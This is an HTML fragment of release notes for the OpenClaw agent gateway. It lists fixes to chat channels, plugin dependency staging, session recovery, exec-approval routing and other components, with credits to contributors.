<li>Control UI: fix Peak Error Hours showing incorrect hourly rates when the browser's timezone observes DST, by storing hourly message counts with UTC date keys and using DST-aware <code>Date.getHours()</code> for local conversion. Also extract <code>accumulateMessageCounts</code> helper to reduce duplicated daily/hourly aggregation logic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4092402816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49396" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49396/hovercard" href="https://github.com/openclaw/openclaw/pull/49396">#49396</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konanok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konanok">@konanok</a>.</li>
<li>iMessage: normalize known leading attributedBody corruption markers on sent-message echo text keys so delayed reflected echoes with U+FFFD/U+FFFE/U+FFFF/FEFF prefixes are dropped without collapsing interior text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197665190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59973" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59973/hovercard" href="https://github.com/openclaw/openclaw/issues/59973">#59973</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197722194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59980" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59980/hovercard" href="https://github.com/openclaw/openclaw/pull/59980">#59980</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214583433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62191/hovercard" href="https://github.com/openclaw/openclaw/pull/62191">#62191</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maguilar631697/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maguilar631697">@maguilar631697</a>.</li>
<li>Security/audit: recognize dangerous node command IDs as valid <code>gateway.nodes.denyCommands</code> entries, so audit only warns on real typos or unsupported patterns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163604946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56923/hovercard" href="https://github.com/openclaw/openclaw/pull/56923">#56923</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chziyue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chziyue">@chziyue</a>.</li>
<li>Cron: treat implicit text payloads with agent-turn overrides as agent turns, preserving model overrides for scheduled text prompts instead of pruning them as system events. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4001694353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/28905" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/28905/hovercard" href="https://github.com/openclaw/openclaw/issues/28905">#28905</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236386081" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64060/hovercard" href="https://github.com/openclaw/openclaw/pull/64060">#64060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoandi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoandi">@liaoandi</a>.</li>
<li>Telegram/exec approvals: stop treating general Telegram chat allowlists and <code>defaultTo</code> routes as native exec approvers; Telegram now uses explicit <code>execApprovals.approvers</code> or owner identity from <code>commands.ownerAllowFrom</code>, matching the first-pairing owner bootstrap path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Plugins/providers: keep Gateway startup primary-model discovery on metadata-only provider entries and reuse active non-speech capability providers even with explicit plugin entries, avoiding unnecessary provider registry loads during startup and media capability checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345357678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73729" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73729/hovercard" href="https://github.com/openclaw/openclaw/issues/73729">#73729</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346570757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73835" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73835/hovercard" href="https://github.com/openclaw/openclaw/issues/73835">#73835</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346027613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73793" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73793/hovercard" href="https://github.com/openclaw/openclaw/issues/73793">#73793</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346797079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73853" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73853/hovercard" href="https://github.com/openclaw/openclaw/pull/73853">#73853</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346030125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73794/hovercard" href="https://github.com/openclaw/openclaw/pull/73794">#73794</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sg1416-zg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sg1416-zg">@sg1416-zg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/poolside-ventures/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/poolside-ventures">@poolside-ventures</a>.</li>
<li>Chat commands: route sensitive group <code>/diagnostics</code> and <code>/export-trajectory</code> approvals and results to a private owner route, preferring same-surface DMs before falling back to the first configured owner route, so Discord group invocations can land in Telegram when that is the primary owner interface. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Gateway/hooks: keep successful <code>deliver:false</code> agent hooks silent, log a hook audit record for suppressed success announcements, and suppress fallback summaries after attempted hook delivery while still surfacing failed hook runs. Repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4151948578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55761" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55761/hovercard" href="https://github.com/openclaw/openclaw/pull/55761">#55761</a>; builds on <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4028886435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/36332" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/36332/hovercard" href="https://github.com/openclaw/openclaw/pull/36332">#36332</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091099015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49234" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49234/hovercard" href="https://github.com/openclaw/openclaw/pull/49234">#49234</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EffortlessSteven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EffortlessSteven">@EffortlessSteven</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cioclawcode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cioclawcode">@cioclawcode</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BrennerSpear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BrennerSpear">@BrennerSpear</a>.</li>
<li>Plugin SDK/Discord: restore a deprecated <code>openclaw/plugin-sdk/discord</code> compatibility facade and the legacy compat group-policy warning export for the published <code>@openclaw/discord@2026.3.13</code> package, covering its config, account, directory, status, and thread-binding imports while keeping new plugins on generic SDK subpaths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344804450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73685" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73685/hovercard" href="https://github.com/openclaw/openclaw/issues/73685">#73685</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345028871" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73703" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73703/hovercard" href="https://github.com/openclaw/openclaw/pull/73703">#73703</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rderickson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rderickson9">@rderickson9</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Channels/Discord: suppress duplicate gateway monitors when multiple enabled accounts resolve to the same bot token, preferring config tokens over default env fallback and reporting skipped duplicates as disabled. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344054955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73608" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73608/hovercard" href="https://github.com/openclaw/openclaw/pull/73608">#73608</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</li>
<li>CLI/health: build channel health summaries from inspected credential metadata plus runtime state, so <code>openclaw health --json</code> reports Discord <code>running</code>, <code>connected</code>, and <code>tokenSource</code> consistently with channel status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066903951" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44354" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44354/hovercard" href="https://github.com/openclaw/openclaw/issues/44354">#44354</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferenc-acs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferenc-acs">@ferenc-acs</a>.</li>
<li>Control UI/Talk: decode Google Live binary WebSocket JSON frames and stop queued browser audio on interruption or shutdown, so browser Talk leaves <code>Connecting Talk...</code> and barge-in no longer plays stale audio. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343876260" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73601" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73601/hovercard" href="https://github.com/openclaw/openclaw/issues/73601">#73601</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342101919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73460" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73460/hovercard" href="https://github.com/openclaw/openclaw/issues/73460">#73460</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342138204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73466/hovercard" href="https://github.com/openclaw/openclaw/pull/73466">#73466</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>.</li>
<li>Channels/Discord: ignore stale route-shaped conversation bindings after a Discord channel is reconfigured to another agent, while preserving explicit focus and subagent bindings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344233247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73626/hovercard" href="https://github.com/openclaw/openclaw/issues/73626">#73626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ramitrkar-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ramitrkar-hash">@ramitrkar-hash</a>.</li>
<li>Agents/bootstrap: pass pending BOOTSTRAP.md contents through the first-run user prompt while keeping them out of privileged system context, and show limited bootstrap guidance when workspace file access is unavailable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344203540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73622" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73622/hovercard" href="https://github.com/openclaw/openclaw/issues/73622">#73622</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mark1010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mark1010">@mark1010</a>.</li>
<li>ACP/tasks: classify parent-owned ACP sessions as background work regardless of persistent runtime mode, and close terminal stale ACP sessions when no active binding remains, so delegated ACP output reports through the parent task notifier instead of acting like a normal foreground chat session. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Tasks: keep terminal mirrored TaskFlow timestamps pinned to task completion time and let maintenance repair stale mirrors, so ACP terminal delivery updates no longer leave inconsistent flow audits. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Gateway/sessions: add conservative stuck-session recovery that releases only stale session lanes while active embedded runs, reply operations, and lane tasks remain serialized, so queued follow-ups can drain without aborting legitimate long-running turns. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343463353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73581/hovercard" href="https://github.com/openclaw/openclaw/issues/73581">#73581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344463460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73655" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73655/hovercard" href="https://github.com/openclaw/openclaw/issues/73655">#73655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345057984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73705/hovercard" href="https://github.com/openclaw/openclaw/issues/73705">#73705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343876260" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73601" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73601/hovercard" href="https://github.com/openclaw/openclaw/issues/73601">#73601</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WS-Q0758/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WS-Q0758">@WS-Q0758</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryangauvin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryangauvin">@bryangauvin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spenceryang1996-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spenceryang1996-dot">@spenceryang1996-dot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmilne1981/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmilne1981">@bmilne1981</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattmcintyre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattmcintyre">@mattmcintyre</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a>.</li>
<li>Plugins: cache unchanged plugin manifest loads by file signature, reducing repeated JSON/JSON5 parsing and manifest normalization in bursty startup and runtime registry paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344765997" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73678/hovercard" href="https://github.com/openclaw/openclaw/pull/73678">#73678</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TheDutchRuler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TheDutchRuler">@TheDutchRuler</a>.</li>
<li>Plugins/runtime-deps: cache unchanged bundled runtime mirror dist-file materialization decisions and close file-lock handles on owner-write failures, reducing repeated startup chunk scans and avoiding FileHandle-GC recovery stalls. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Plugins/runtime-deps: retry and defer transient cleanup failures for owned runtime staging directories so CLI startup no longer aborts after a successful bundled dependency swap. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347196394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73903" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73903/hovercard" href="https://github.com/openclaw/openclaw/issues/73903">#73903</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bobfreeman1989/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bobfreeman1989">@bobfreeman1989</a>.</li>
<li>Plugins/runtime-deps: cache bundled runtime-deps JSON/package files by file signature, reducing repeated staged-runtime metadata reads during bundled channel startup. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345057984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73705/hovercard" href="https://github.com/openclaw/openclaw/issues/73705">#73705</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattmcintyre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattmcintyre">@mattmcintyre</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmilne1981/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmilne1981">@bmilne1981</a>.</li>
<li>Plugins/runtime-deps: delegate bundled plugin dependency staging to complete npm/pnpm install plans with durable runtime state, removing retained-manifest and source-checkout cache reconciliation from Gateway startup. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmfraga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmfraga">@jmfraga</a>.</li>
<li>Plugins/runtime-deps: replace Gateway-start root chunk dependency inference with explicit mirrored-root dependency metadata, reducing staged runtime scans while preserving lazy per-plugin installs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Plugins/runtime-deps: run pnpm staged installs outside the repository workspace and disable pnpm release-age gates for exact bundled runtime dependency materialization, so bundled plugin dependency repair writes packages into the generated stage without blocking fresh packaged dependencies. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>CLI/TUI: keep <code>chat.history</code> off model-catalog discovery so initial Gateway-backed TUI history loads cannot block behind slow provider/plugin model scans on low-core hosts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342748182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73524" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73524/hovercard" href="https://github.com/openclaw/openclaw/issues/73524">#73524</a>. Thanks @harshcatsystems-collab.</li>
<li>Channels/WhatsApp: flag recently reconnected linked accounts in channel status even when the socket is currently healthy, so flapping WhatsApp Web sessions no longer look clean after a brief reconnect. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>.</li>
<li>Channels/WhatsApp: log shared dispatcher delivery failures with reply kind, message id, chat id, and connection id, so typing-without-send reports can identify whether the WhatsApp send path rejected a generated reply. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349593113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74269" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74269/hovercard" href="https://github.com/openclaw/openclaw/issues/74269">#74269</a>. Thanks @tomcosta-git.</li>
<li>Feishu: suppress distinct late <code>final</code> text deliveries after a streaming card has already closed, while keeping media attachments deliverable, so late-finals no longer reopen duplicate Feishu cards. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330083943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71977" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71977/hovercard" href="https://github.com/openclaw/openclaw/issues/71977">#71977</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331519751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72294" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72294/hovercard" href="https://github.com/openclaw/openclaw/pull/72294">#72294</a>) Thanks @MonkeyLeeT.</li>
